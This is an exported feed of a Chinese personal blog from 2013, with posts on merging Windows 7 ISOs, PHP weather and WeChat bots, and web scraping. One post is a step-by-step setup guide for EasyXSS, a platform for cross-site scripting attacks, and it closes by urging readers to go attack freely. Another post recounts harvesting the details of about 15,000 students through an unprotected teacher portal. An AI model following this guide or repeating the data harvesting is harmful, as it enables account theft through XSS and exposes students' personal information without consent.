<p>1.下载光盘镜像<br>下载官方原版msdn简体中文版光盘镜像：<br>cn_windows_7_ultimate_with_sp1_x86_dvd_618763.iso（32位）<br>cn_windows_7_ultimate_with_sp1_x64_dvd_618537.iso（64位）<br>2.提取install.wim<br>把镜像操作软件imagex解压到windows/system32；<br>用UltraISO软件分别打开32位和64位镜像，定位到sources目录下。<br>提取install.wim到x:\sources目录下：<br>32位 install.wim 重命名为 installx86.wim<br>64位 install.wim 重命名为 installx64.wim<br>3.合并install.wim<br>制作合并多版本的install.wim文件，打开命令提示符，运行以下命令：<br>imagex /export x:\sources\installx86.wim 1 x:\install.wim “Windows 7 X86 STARTER”<br>imagex /export x:\sources\installx86.wim 2 x:\install.wim “Windows 7 X86 HOMEBASIC”<br>imagex /export x:\sources\installx64.wim 1 x:\install.wim “Windows 7 X64 HOMEBASIC”<br>imagex /export x:\sources\installx86.wim 3 x:\install.wim “Windows 7 X86 HOMEPREMIUM”<br>imagex /export x:\sources\installx64.wim 2 x:\install.wim “Windows 7 X64 HOMEPREMIUM”<br>imagex /export x:\sources\installx86.wim 4 x:\install.wim “Windows 7 X86 PROFESSIONAL”<br>imagex /export x:\sources\installx64.wim 3 x:\install.wim “Windows 7 X64 PROFESSIONAL”<br>imagex /export x:\sources\installx86.wim 5 x:\install.wim “Windows 7 X86 ULTIMATE”<br>imagex /export x:\sources\installx64.wim 4 x:\install.wim “Windows 7 X64 ULTIMATE”<br>现在已将32位和64位的所有版本合并在一个install.wim镜像里了,共9个版本。<br>4.修改版本描述<br>修改各个不同版本的描述，运行以下命令:<br>imagex /info x:\install.wim 1 “Windows 7 X86 STARTER” “Windows 7 简易版”<br>imagex /info x:\install.wim 2 “Windows 7 X86 HOMEBASIC” “Windows 7 家庭基础版 32位”<br>imagex /info x:\install.wim 3 “Windows 7 X64 HOMEBASIC” “Windows 7 家庭基础版 64位”<br>imagex /info x:\install.wim 4 “Windows 7 X86 HOMEPREMIUM” “Windows 7 家庭高级版 32位”<br>imagex /info x:\install.wim 5 “Windows 7 X64 HOMEPREMIUM” “Windows 7 家庭高级版 64位”<br>imagex /info x:\install.wim 6 “Windows 7 X86 PROFESSIONAL” “Windows 7 专业版 32位”<br>imagex /info x:\install.wim 7 “Windows 7 X64 PROFESSIONAL” “Windows 7 专业版 64位”<br>imagex /info x:\install.wim 8 “Windows 7 X86 ULTIMATE” “Windows 7 旗舰版 32位”<br>imagex /info x:\install.wim 9 “Windows 7 X64 ULTIMATE” “Windows 7 旗舰版 64位”<br>5.重命名clg文件<br>提取clg文件，用UltraISO软件分别打开32位和64位镜像，定位到sources目录下，<br>复制clg文件到x:\sources目录下：<br>32位光盘镜像中的clg文件<br>install_Windows 7 Starter.clg 重命名为 install_Windows 7 Starter X86.clg<br>install_Windows 7 Homebasic.clg 重命名为 install_Windows 7 Homebasic X86.clg<br>install_Windows 7 Homepremium.clg 重命名为 install_Windows 7 Homepremium X86.clg<br>install_Windows 7 Professional.clg 重命名为 install_Windows 7 Professional x86.clg<br>install_Windows 7 Ultimate.clg 重命名为 install_Windows 7 Ultimate X86.clg<br>64位光盘镜像中的clg文件<br>install_Windows 7 Homebasic.clg 重命名为 install_Windows 7 Homebasic X64.clg<br>install_Windows 7 Homepremium.clg 重命名为 install_Windows 7 Homepremium X64.clg<br>install_Windows 7 Professional.clg 重命名为 install_Windows 7 Professional x64.clg<br>install_Windows 7 Ultimate.clg 重命名为 install_Windows 7 Ultimate X64.clg<br>6.替换install.wim和clg文件<br>用UltraISO软件打开32位光盘镜像，定位到sources目录下，<br>删除：<br>install.wim<br>添加（合并后的）：<br>install.wim<br>删除：<br>install_Windows 7 Homebasic.clg<br>install_Windows 7 Homepremium.clg<br>install_Windows 7 Professional.clg<br>install_Windows 7 Ultimate.clg<br>添加：<br>install_Windows 7 Starter X86.clg<br>install_Windows 7 Homebasic X86.clg<br>install_Windows 7 Homepremium X86.clg<br>install_Windows 7 Professional x86.clg<br>install_Windows 7 Ultimate X86.clg<br>install_Windows 7 Homebasic X64.clg<br>install_Windows 7 Homepremium X64.clg<br>install_Windows 7 Professional x64.clg<br>install_Windows 7 Ultimate X64.clg<br>删除:<br>ei.cfg<br>然后另存为新的镜像，即成为包含32位和64位共9个不同版本的光盘镜像，安装时可选择9种不同的版本。</p>
<p>这是最后制作成功的一些文件。 顺便把它丢这里了。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/MyWin7Iso.zip" target="_blank" rel="external">MyWin7Iso</a>（提示有病毒，不让放，虽然知道不是，只能删除了）</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130326235725.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130326235725.png" alt="QQ20130326235725"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>32位的镜像是2g多，一张光盘4.7g，所以我就打算把2个和一起来刻一张盘。</p>
<p>网上的下的不放心。过程如下</p>
<p>1.下载光盘镜像<br>下载官方原版msdn简体中文版光盘镜像：<br>cn_windows_7_ultimate_with_sp1_x86]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[查询天气]]></title>
    <link href="http://doubles.me/2013/03/19/600/"/>
    <id>http://doubles.me/2013/03/19/600/</id>
    <published>2013-03-19T13:44:44.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>给微信公众平台添加的一个小功能。实现查询天气。 百度得到3个地址接口，当然也可以用google，yahoo的，但是发现只有这一个是json的。所以我就用这个了。</p>
<p><span style="font-family: Arial;"><a href="http://www.weather.com.cn/data/sk/101281601.html" target="_blank" rel="external">http://www.weather.com.cn/data/sk/101281601.html</a> </span></p>
<p><span style="font-family: Arial;"><a href="http://www.weather.com.cn/data/cityinfo/101281601.html" target="_blank" rel="external">http://www.weather.com.cn/data/cityinfo/101281601.html</a> </span></p>
<p><span style="font-family: Arial;"><a href="http://m.weather.com.cn/data/101281601.html" target="_blank" rel="external">http://m.weather.com.cn/data/101281601.html</a>  </span></p>
<p>然后继续百度到一个城市列表，这个网站也没有提供什么api，只有这样了。把这个id表存入数据库吧。</p>
<p>挺麻烦的，不过我还是用excel+php+mysql搞定了。</p>
<p>先用excel拆分一下。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130319234120.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130319234120.png" alt="QQ20130319234120"></a></p>
<p>然后写个php，提取一下里面的数据。</p>
<p>&lt;?php</p>
<p>$fp = fopen (‘cityid.txt’, “r”);<br>if($fp){<br>while(!feof($fp)){<br>$line1=fgets($fp,4096);<br>$name=split(‘ ‘,$line1);</p>
<p>$line2=fgets($fp,4096);<br>$id=split(‘ ‘,$line2);</p>
<p>for($i=0;$i&lt;count($name);$i++){<br>$current.= ‘(“‘.$name[$i].’”,’.$id[$i].’),’;</p>
<p>}<br>}<br>}else echo’wrong’;<br>file_put_contents(‘result.txt’, $current);<br>fclose($fp);<br>?&gt;</p>
<p>这个过程真心麻烦。然后实现查询功能。<br>&lt;?php<br>//101240101 南昌id<br>header(“Content-Type: text/html;charset=utf-8”);<br>function getWeather($id){<br>$fetch= new BaeFetchUrl();</p>
<p>$fetch-&gt;get(“<a href="http://m.weather.com.cn/data/&quot;.$id.&quot;.html" target="_blank" rel="external">http://m.weather.com.cn/data/&quot;.$id.&quot;.html</a>“);</p>
<p>$obj=json_decode($fetch-&gt;getResponseBody());</p>
<p>$value=$obj-&gt;weatherinfo-&gt;city.’ ‘.$obj-&gt;weatherinfo-&gt;date_y.’ ‘.$obj-&gt;weatherinfo-&gt;temp1.’ ‘.$obj-&gt;weatherinfo-&gt;weather1.’ ‘.$obj-&gt;weatherinfo-&gt;index_d;</p>
<p>return $value;<br>}<br>?&gt;</p>
<p>&nbsp;</p>
<p>看得到我这里使用了bae上的函数。</p>
<p>最后放个文件到这里吧。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/天气处理.zip" target="_blank" rel="external">天气处理</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>给微信公众平台添加的一个小功能。实现查询天气。 百度得到3个地址接口，当然也可以用google，yahoo的，但是发现只有这一个是json的。所以我就用这个了。</p>
<p><span style="font-family: Arial;"><a href="http:/]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="微信公众平台" scheme="http://doubles.me/tags/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%B9%B3%E5%8F%B0/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[火车头采集器【本次纯属测试】]]></title>
    <link href="http://doubles.me/2013/03/12/577/"/>
    <id>http://doubles.me/2013/03/12/577/</id>
    <published>2013-03-12T13:44:42.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>&nbsp;</p>
<h1 id="首先申明一下，此次纯属测试，没有任何不良用途。"><a href="#首先申明一下，此次纯属测试，没有任何不良用途。" class="headerlink" title="首先申明一下，此次纯属测试，没有任何不良用途。"></a><strong><span style="color: #ff0000;">首先申明一下，此次纯属测试，没有任何不良用途。</span></strong></h1><p>不知道为什么对采集很敢兴趣，先用火车头采集一点东西吧。</p>
<p>主要是要写采集模块，但是前面写过phpcms和dedecms的采集规则，现在就比较简单了。</p>
<p>看草榴的网址，<a href="http://1024dizhi.tk/thread0806.php?fid=7&amp;search=&amp;page=2" target="_blank" rel="external">http://1024dizhi.tk/thread0806.php?fid=7&amp;search=&amp;page=2</a> 显然修改page后面的就可以访问下一页了。所以从2开始到最后一页，不过我发现非注册用户只能访问前100页，我的帐号也登不上去了。o(︶︿︶)o 唉就抓100页把，后面的大部分图床都挂掉了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312230639.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312230639.png" alt="QQ20130312230639"></a></p>
<p>&nbsp;</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312230734.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312230734.png" alt="QQ20130312230734"></a></p>
<p>&nbsp;</p>
<p> 然后编写内容网址采集规则，每条内容页都是这样的形势，他在最后用了一个javascript进行拼接，所以我们就要自己写规则，拼接地址<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312231245.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312231245.png" alt="QQ20130312231245"></a></p>
<p>设置成这样的，看图就行了，记得保存<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312231212.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312231212.png" alt="QQ20130312231212"></a></p>
<p>然后我们进到内容页，发现文章开始的标签是tpc_content，标题的开始标签是&lt;h4&gt;，注意这些不能有重复。然后就可以写规则开始采集了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312231528.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312231528.png" alt="QQ20130312231528"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312231428.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312231428.png" alt="QQ20130312231428"></a></p>
<p>之后我挂了一晚上，线程不敢开太多，怕封ip，抓取了5000条数据。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312233110.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312233110.png" alt="QQ20130312233110"></a></p>
<p>再然后就是发布了，可以选择数据入数据库，也可以选择发布到web上去。但是呢，进入数据库要分析表结构，太懒，不相干，就web发布吧。这样效率特别低，不过丢这也不用管，就这样了呗。</p>
<p>现在写发布过程</p>
<p><div></div></p>
<p><div>先把dedecms安装好，其他的phpcms之类的也一样，安装也不用说了吧。</div></p>
<p><div>进入后先个增加这些个栏目，别看我这个网站，我只是想要一个木有广告的自己用。。</div></p>
<p><div></div></p>
<p><div><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/Image.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/Image.png" alt="Image"></a></div></p>
<p><div></div></p>
<p><div>选择dedecms5.7的发布模块，编码是utf8，看版本决定，然后把网站根目录写进来，</div></p>
<p><div><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/Image2.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/Image2.png" alt="Image2"></a></div></p>
<p><div>点击登入，抓到cookies，点确定，然后保存配置。</div></p>
<p><div><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/Image3.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/Image3.png" alt="Image3"></a></div></p>
<p><div></div></p>
<p><div>然后选择一个任务，进行编辑，定位到发布设置，然后3个步骤改一下。保存之。</div></p>
<p><div><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/Image4.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/Image4.png" alt="Image4"></a></div></p>
<p><div></div></p>
<p><div>最后我们到网站上看一下效果</div></p>
<p><div></div></p>
<p><div></div></p>
<p><div></div></p>
<p><div><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312233941.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312233941.png" alt="QQ20130312233941"></a></div></p>
<p><div></div></p>
<p><div><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312234204.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130312234204.png" alt="QQ20130312234204"></a></div></p>
<p><div></div></p>
<div>

<h1 id="再次申明一下，此次纯属测试，没有任何不良用途。"><a href="#再次申明一下，此次纯属测试，没有任何不良用途。" class="headerlink" title="再次申明一下，此次纯属测试，没有任何不良用途。"></a><span style="color: #ff0000;"><strong>再次申明一下，此次纯属测试，没有任何不良用途。</strong></span></h1><h1 id="如果有人用于非法用途，与本博客无关。"><a href="#如果有人用于非法用途，与本博客无关。" class="headerlink" title="如果有人用于非法用途，与本博客无关。"></a><span style="color: #ff0000;"><strong>如果有人用于非法用途，与本博客无关。</strong></span></h1><p></p></div><br>&nbsp;<p></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>&nbsp;</p>
<h1 id="首先申明一下，此次纯属测试，没有任何不良用途。"><a href="#首先申明一下，此次纯属测试，没有任何不良用途。" class="headerlink" title="首先申明一下，此次纯属测试，没有任何不良用途。"></a><st]]>
    </summary>
    
      <category term="杂碎" scheme="http://doubles.me/tags/%E6%9D%82%E7%A2%8E/"/>
    
      <category term="网站" scheme="http://doubles.me/tags/%E7%BD%91%E7%AB%99/"/>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[easyxss平台搭建]]></title>
    <link href="http://doubles.me/2013/03/12/560/"/>
    <id>http://doubles.me/2013/03/12/560/</id>
    <published>2013-03-12T03:09:44.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<div><span style="color: #ff0000;">bae上搭建easyxss</span>【如果不是bae，sae上就不需要】</div><br><div>@<a href="http://zone.wooyun.org/user/%E6%98%B5%E7%A7%B0" target="_blank" rel="external">昵称</a> 目测bae和sae都是要使用重写功能<br>bae  修改 app.conf<br>格式：<br>- url : /member/(.+)$<br>script : member.php?mid=$1</div><br><div></div><br><div>sae修改 config.yaml<br>格式：<br>- rewrite: if( path ~ “^feed$” ) goto “feed.php”</div><br><div></div><br><div>测试发现，bae上搭建不了。应该要修改thinkphp，所以使用phpcloud来搭建。</div><br><div></div><br><div></div><br><div><span style="color: #ff0000;"> App/Conf/config.php 配置文件</span></div><br><div></div><br><div>&lt;?php<br>return array(<br>‘DEFAULT_MODULE’     =&gt; ‘User’,<br>‘URL_MODEL’          =&gt; ‘0’, //这里改成0，原来是2，具体设置请参考THINKPHP配置说说明<br>‘SESSION_AUTO_START’ =&gt; true,<br>‘DB_DSN’ =&gt; ‘mysql://root:toor@127.0.0.1:3306/xss’, //数据库链接信息，用户名@密码，最后的是数据库名<br>‘DB<em>PREFIX’ =&gt; ‘xss</em>‘,<br>‘MAIL_ADDRESS’=&gt;’info@xss.tw’,<br>‘MAIL_SMTP’=&gt;’smtp.gmail.com’,<br>‘MAIL_LOGINNAME’=&gt;’info@xss.tw’,<br>‘MAIL_PASSWORD’=&gt;’’,<br>‘MAIL_SENDER’=&gt;’info’,<br>‘MAIL_PORT’=&gt;’465’,<br>‘TMPL_PARSE_STRING’ =&gt;array(<br>‘<strong>SITENAME</strong>‘ =&gt;’EasyXSS 1.0’,<br>‘<strong>SITETITLE</strong>‘=&gt;’EasyXSS’,<br>),<br>);<br>?&gt;</div><br><div></div><br><div><span style="color: #ff0000;">wwwroot目录是web根目录，wwwroot/index.php定义了framework与application的路径，你改了就要跟着改。</span></div><br><div></div><br><div>&lt;?php<br>define(‘APP_NAME’, ‘./XSS’);<br>define(‘APP_PATH’, ‘./../App/‘); //App那个文件夹的路径，改掉了就跟着改<br>define(‘APP_DEBUG’, true); //debug开关require ‘./../ThinkPHP/ThinkPHP.php’; //thinkphp framework 的路径?&gt;</div><br><div></div><br><div>data.sql导入数据库，这里不说了。</div><br><div></div><br><div></div><br><div>有一个邀请码：1234567890<br>请注册名字为：root的用户，才能生成邀请码</div><br><div></div><br><div>注册一个用户名为root的用户，</div><br><div>邀请码生成URL：/Key/createKey/count/1/type/1<br>count为数量，type为类型:0为自助申请，1为手动发放的邀请码，不被自助申请获得到</div><br><div><img src="file:///C:/Users/Daddy/AppData/Local/Temp/enhtmlclip/Image.png" alt=""></div><br><div>界面模仿xsser.me,PHP代码没参考任何其他平台，所以写得很烂。现在的新版本基本上重写，主要方面是用户权限控制，使用类的继承，方便多了。keepsession： 定期访问 /Xssresult/Keepsession 即可，或者定期执行Keepsession文件夹下的php脚本。</div><br><div></div><br><div><br><br>phpcloud申请账号，然后创建一个app。<br><br>然后会得到一个key，.ppt的这时候用winscp连上去。<br><br>，地址如下，很多都是你设置的容器的名字。<br><br>如下图<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/3.bmp" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/3.bmp" alt="3"></a><br><br>&nbsp;<br><br>然后将这个我修改好的easyxss平台代码丢上去，修改所有目录属性为777。不然会提示run error，因为没有写入权限。<br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/4.bmp" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/4.bmp" alt="4"></a><br><br>&nbsp;<br><br>然后修改conf文件，最好用notepad++修改好了再覆盖上去。不然会有其他的错误<br><br>Assuming your container name is <code>**_mycontainer_**</code>, you should use the following credentials to connect to your database:<br><br><em>   <strong>Database host:</strong><em>mycontainer</em>-db.my.phpcloud.com
</em>   <strong>Database port:</strong> 3306<br><em>   <strong>Database schema name:</strong><em>mycontainer</em>
</em>   <strong>Database user:</strong><em>mycontainer</em><br><em>   <em>*Database password:</em></em> your container password导入mysql数据库，可以使用phpadmin或者ssh的方式<br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/5.bmp" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/5.bmp" alt="5"></a><br>我导入的是去掉iptables的，因为他这个ip表有20多m，不好上传。等我回寝室再导入把。<br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/11.bmp" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/11.bmp" alt="1(1)"></a><br><br>然后进入dnspod，把域名绑定以下。<br><br>&nbsp;<br><br>将域名cname到 <em>mycontainer</em>.my.phpcloud.com，就是你可以直接访问的地址。<br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/6.bmp" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/6.bmp" alt="6"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/11.bmp" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/11.bmp" alt="1(1)"></a><br><br>现在就可以通过绑定的域名进行访问了。<br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/21.bmp" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/21.bmp" alt="2(1)"></a><br><br>&nbsp;<br><br>然后要注意的是phpcloud必须要每天登入一次来激活，这个可以使用我们的监控宝来完成<br><br></div><br><div><br><br>到此我们就完成平台搭建的所有工作，然后可以使用url缩短服务，尽情的xss去吧。<br><br></div><br><div></div>]]></content>
    <summary type="html">
    <![CDATA[<div><span style="color: #ff0000;">bae上搭建easyxss</span>【如果不是bae，sae上就不需要】</div><br><div>@<a href="http://zone.wooyun.org/user/%E6%98%B5%E7%A]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="云" scheme="http://doubles.me/tags/%E4%BA%91/"/>
    
      <category term="xss" scheme="http://doubles.me/tags/xss/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[微信平台酱菜小助手]]></title>
    <link href="http://doubles.me/2013/03/10/542/"/>
    <id>http://doubles.me/2013/03/10/542/</id>
    <published>2013-03-10T00:36:01.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>今天总算把4级的查询移到微信平台上去了。以前感觉很神器，原来也就是分词，然后返回一个数据。</p>
<p>系统内置了一些功能，不过我们是要查询cet4，6级 还是要自定义返回数据格式才好。</p>
<p>先去注册一个公众帐号，这个公众平台和开放平台是不一样的</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130310025443.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130310025443-430x106.png" alt="QQ20130310025443"></a>然后捏，进入高级设置后，进入里面的编辑模式关闭掉，然后进入开发者模式，打开此模式。</p>
<p>这里需要有一个空间才行，可以把我们的接口文件丢这里。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ201303100255231.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ201303100255231.png" alt="QQ20130310025523"></a></p>
<p>我用的是bae，sae，openshift什么的都可以。刚好今天令了bae发放的1000元现金券。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ201303100255471.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ201303100255471.png" alt="QQ20130310025547"></a></p>
<p>&nbsp;</p>
<p>在里面填入中转接口的地址，weixin这个在php里面设置。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130310102712.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130310102712.png" alt="QQ20130310102712"></a>给个地址吧。<a href="https://github.com/xhxu/weixin" target="_blank" rel="external">https://github.com/xhxu/weixin</a>，可以使用这个。</p>
<p>里面的代码很简单了，先把消息体剥离一下，通过空格分离出keyword，然后进行操作。</p>
<p>//分词处理，通过空格 剥离$keyword<br>$keyword = $weixin-&gt;msg[‘Content’];<br>$keyword=explode(“ “,$keyword);</p>
<p>代码感觉没什么看的，我给添加了一个mysql查询的语句，就可以返回4，6级成绩了。</p>
<p>输入 【help】 可以获取帮助，输入 【cet 学号】(中间有空格哦),可以获取4，6级成绩</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/2.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/2.png" alt="2"></a></p>
<p>&nbsp;</p>
<p>大家可以搜索 酱菜小助手，或者扫描如下2维码，添加关注。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/qr.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/qr.jpg" alt="qr"></a></p>
<p>&nbsp;</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/江财微信平台.zip" target="_blank" rel="external">江财微信平台</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>今天总算把4级的查询移到微信平台上去了。以前感觉很神器，原来也就是分词，然后返回一个数据。</p>
<p>系统内置了一些功能，不过我们是要查询cet4，6级 还是要自定义返回数据格式才好。</p>
<p>先去注册一个公众帐号，这个公众平台和开放平台是不一样的</p>
<p>]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[试了一下采集]]></title>
    <link href="http://doubles.me/2013/03/02/536/"/>
    <id>http://doubles.me/2013/03/02/536/</id>
    <published>2013-03-02T11:43:09.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>想采集1024的，他地址是用脚本生成的，不会改。</p>
<p>后面就随便找了一个站，来试试。</p>
<p>火车头一直采不到内容，但是同样的规则我用phpcms就可以采集到</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130302214216.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130302214216-430x200.png" alt="QQ20130302214216"></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>晚上采集一下电影试试</p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>想采集1024的，他地址是用脚本生成的，不会改。</p>
<p>后面就随便找了一个站，来试试。</p>
<p>火车头一直采不到内容，但是同样的规则我用phpcms就可以采集到</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn]]>
    </summary>
    
      <category term="网站" scheme="http://doubles.me/tags/%E7%BD%91%E7%AB%99/"/>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[继续昨天的4级查询]]></title>
    <link href="http://doubles.me/2013/03/02/529/"/>
    <id>http://doubles.me/2013/03/02/529/</id>
    <published>2013-03-02T11:36:18.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>后面他写了一个通过学号查询成绩的，然后我们打算完善一下这个，最好可以显示班级，之后被路人甲告知有一个地方能查到学生的学号和班级，于是乎。。</p>
<p>这个真心佩服，首先进入学生通道旁边的教师通道。然后查询课程。这里可以查询所有的开放课程，没验证，然后查询 品行修养这每个班都有的课程就可以得到所有的班级列表，然后遍历所有连接，就可以得到所有班级的学生信息。</p>
<p>一共321个班级 大概有1w5的学生。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130302203519.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130302203519-430x193.png" alt="QQ20130302203519"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130302203554.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ20130302203554.png" alt="QQ20130302203554"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ截图20130302204725.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/03/QQ截图20130302204725-430x200.png" alt="QQ截图20130302204725"></a></p>
<p>&nbsp;</p>
<p>这个还真没发现过。用昨天写的程序来跑吧，然后再过滤内容。还是先学一下正则吧。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>后面他写了一个通过学号查询成绩的，然后我们打算完善一下这个，最好可以显示班级，之后被路人甲告知有一个地方能查到学生的学号和班级，于是乎。。</p>
<p>这个真心佩服，首先进入学生通道旁边的教师通道。然后查询课程。这里可以查询所有的开放课程，没验证，然后查询 品行修养这每个]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[批量拉取CET4,6级成绩]]></title>
    <link href="http://doubles.me/2013/03/01/525/"/>
    <id>http://doubles.me/2013/03/01/525/</id>
    <published>2013-03-01T14:58:29.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>今天4级成绩出来了，考了3趟啊，总算过了。</p>
<p>话说第一次考424然后426过的没几个人吧。暗爽</p>
<p>一个同学问我js好不，一问才知道他想批量拉取cet4，6级成绩。</p>
<p>好吧，我弄了一下午的采集也没什么成果，就干这个吧。</p>
<p>brup抓包看看，post的数据，只要我们把这个发过去就会返回结果了。</p>
<p>他用sina的fetchurl，(还真没用过),没成功。</p>
<p>我用nc发包过去，能成功。所以是他代码的问题。</p>
